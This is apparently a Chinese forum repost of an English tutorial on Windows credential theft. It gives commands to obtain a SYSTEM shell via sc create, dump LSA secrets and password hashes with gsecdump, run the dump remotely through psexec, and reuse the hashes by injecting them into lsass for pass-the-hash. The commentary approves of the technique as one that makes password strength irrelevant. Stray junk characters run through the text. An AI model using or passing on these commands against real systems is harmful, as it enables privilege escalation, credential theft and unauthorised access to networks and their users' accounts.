HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
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C:\>sc start shellcmdline
6 `5 u1 m, ?1 G  u/ L6 |" h5 V9 U9 p[SC] StartService FAILED 1053:

$ I' R- N8 x. f! V0 E6 @The service did not respond to the start or control request in a timely fashion.
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; N+ N' U" |2 Z5 x  S. ~. R/ }C:\>sc delete shellcmdline
$ A. t8 Q9 X- n# H$ W2 p[SC] DeleteService SUCCESS

7 e  k: v, T: ]------------

/ n: E' s2 L# L  H4 cThen in the new DOS window:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

( o+ [7 a1 e" e9 S3 b4 q4 T: tC:\WINDOWS\system32>whoami
+ L& @3 z  }3 A# mNT AUTHORITY\SYSTEM
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" f7 l+ }6 i9 `) o3 j% x$ o& B) rC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

options:
-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD
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! \8 y) }. A. v5 R& r8 LAlthough I like to use:
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PsExec v1.83 - Execute processes remotely
6 x$ u6 e) ~$ C1 ?6 }- HCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
4 [; ?1 I! m  z' g4 I% I# |' {
to get the hashes from active logon sessions of a remote system.
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7 z$ o5 ?0 l3 ]8 V" J" r+ C; aThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

, I4 N% I) P& _& W提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
  P( O: z+ x( m; ?原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

1 n; T) g3 }& u5 J我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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